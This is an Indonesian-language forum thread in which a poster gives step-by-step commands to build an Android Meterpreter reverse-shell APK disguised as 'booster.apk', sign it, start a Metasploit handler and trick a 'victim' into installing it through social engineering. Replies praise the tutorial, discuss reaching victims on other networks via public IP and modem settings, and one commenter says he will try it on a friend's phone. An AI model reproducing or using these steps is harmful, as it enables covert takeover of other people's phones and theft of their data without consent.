Metasploit Android on Backbox Linux

Selamat Malam Semua, Perkenalkan ane member baru disini dan ini thread pertama ane :D 

kali ini saya mau share tutor metasploit android dengan backbox yang satu jaringan :v klo beda jaringan belum nyoba sih :v

ok pertama buka terminal dan ketik : " msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=8888 R> /home/nama user/Desktop/booster.apk " kemudian ENTER
*untuk LHOST ganti dengan ip ente ye..

jika berhasil maka outputnya kek gini




setelah itu cek file booster.apk di Desktop ente, jika ada maka itu tandanya berhasil,

nah biar gak ada eror pas instal backdoor ( booster.apk ) di android korban maka kita harus sign file .apk terlebih dahulu,,

download bahannya Disini
extract file yang sudah di download tadi, kemudian pindahkan file booster.apk ke dalam folder hasil extract tadi,
buka terminal dan masuk ke folder hasil extract tadi, ane disini simpan foldernya di Documents,

cd Documents/sign
java -jar signapk.jar certificate.pem key.pk8 booster.apk sign-booster.apk




*sign-booster.apk adalah file yang sudah di sign dan akan kita kirim ke korban,

kemudian buka terminal dan jalankan metasploitnya

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost "ip ente"
set lport 8888
exploit




nah kemudian kita suruh korban untuk install dan buka aplikasinya, gunakan teknik soceng terbaik ente di tahap ini wkkwkwk

jika muncul output seperti di bawah maka kita berhasil masuk ke ponsel korban,



 

nah kita udah masuk ke ponsel korban tinggal terserah mau di apakan :v

untuk melihat command ketik " help "



sekian dari saya mohon maaf jika ada salah kata, maaf juga kalo threadnya acak-acakan wkkwk

wassalam

---

Mantap Mas :D Ditunggu versi beda jaringannya :D  hehe

(03-10-2016, 12:36 PM)CyberCl0wn Wrote: Mantap Mas :D Ditunggu versi beda jaringannya :D  hehe

masih nyari referensi mas blm nemu yang beda jaringan wkkwk

---

Mantap kang tutor nya..
Ane mo nanya nih..klo korban uninstal backdoor nya apa kah msh berfungsi exploit nya??

(03-10-2016, 12:36 PM)CyberCl0wn Wrote: Mantap Mas :D Ditunggu versi beda jaringannya :D  hehe

setahu saya, untuk exploit beda jaringan,  backdoor set LHOST dengan IP public agan ^_^/

akhirnya nemu juga yg buat apk tidak rusak saat pas diinstall di smartphone terima kasih om sudah share great exploit.

---

(03-10-2016, 12:23 PM)SengklekCode Wrote: Selamat Malam Semua, Perkenalkan ane member baru disini dan ini thread pertama ane :D 

kali ini saya mau share tutor metasploit android dengan backbox yang satu jaringan :v klo beda jaringan belum nyoba sih :v

ok pertama buka terminal dan ketik : " msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=8888 R> /home/nama user/Desktop/booster.apk " kemudian ENTER
*untuk LHOST ganti dengan ip ente ye..

jika berhasil maka outputnya kek gini




setelah itu cek file booster.apk di Desktop ente, jika ada maka itu tandanya berhasil,

nah biar gak ada eror pas instal backdoor ( booster.apk ) di android korban maka kita harus sign file .apk terlebih dahulu,,

download bahannya Disini
extract file yang sudah di download tadi, kemudian pindahkan file booster.apk ke dalam folder hasil extract tadi,
buka terminal dan masuk ke folder hasil extract tadi, ane disini simpan foldernya di Documents,

cd Documents/sign
java -jar signapk.jar certificate.pem key.pk8 booster.apk sign-booster.apk




*sign-booster.apk adalah file yang sudah di sign dan akan kita kirim ke korban,

kemudian buka terminal dan jalankan metasploitnya

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost "ip ente"
set lport 8888
exploit




nah kemudian kita suruh korban untuk install dan buka aplikasinya, gunakan teknik soceng terbaik ente di tahap ini wkkwkwk

jika muncul output seperti di bawah maka kita berhasil masuk ke ponsel korban,



 

nah kita udah masuk ke ponsel korban tinggal terserah mau di apakan :v

untuk melihat command ketik " help "



sekian dari saya mohon maaf jika ada salah kata, maaf juga kalo threadnya acak-acakan wkkwk

wassalam

Dulu pernah share sama kawan2 MCC (Malang Cyber Crew) waktu Gathering bareng sama Backbox Ngalam.
Pernah coba exploit ke Android & berhasil (masalah tutor di Google banyak)..heheheheh
Tapi kagak perlu sign file .apk.
Kalo boleh tau itu fungsinya untuk apa,mas?
Nahh kalo gak sign file .apk apa exploit nya akan gagal? :)

---

Mantepp....

manntabb mass , bisa saya coba untuk pelajarin nanti make andro temen saya >< :3

(03-11-2016, 10:23 AM)anongep Wrote:

(03-10-2016, 12:36 PM)CyberCl0wn Wrote: Mantap Mas :D Ditunggu versi beda jaringannya :D  hehe

setahu saya, untuk exploit beda jaringan,  backdoor set LHOST dengan IP public agan ^_^/

bukan cuma pake IP Public... tp harus ada settingan di modem juga...... ^_^ CMIIW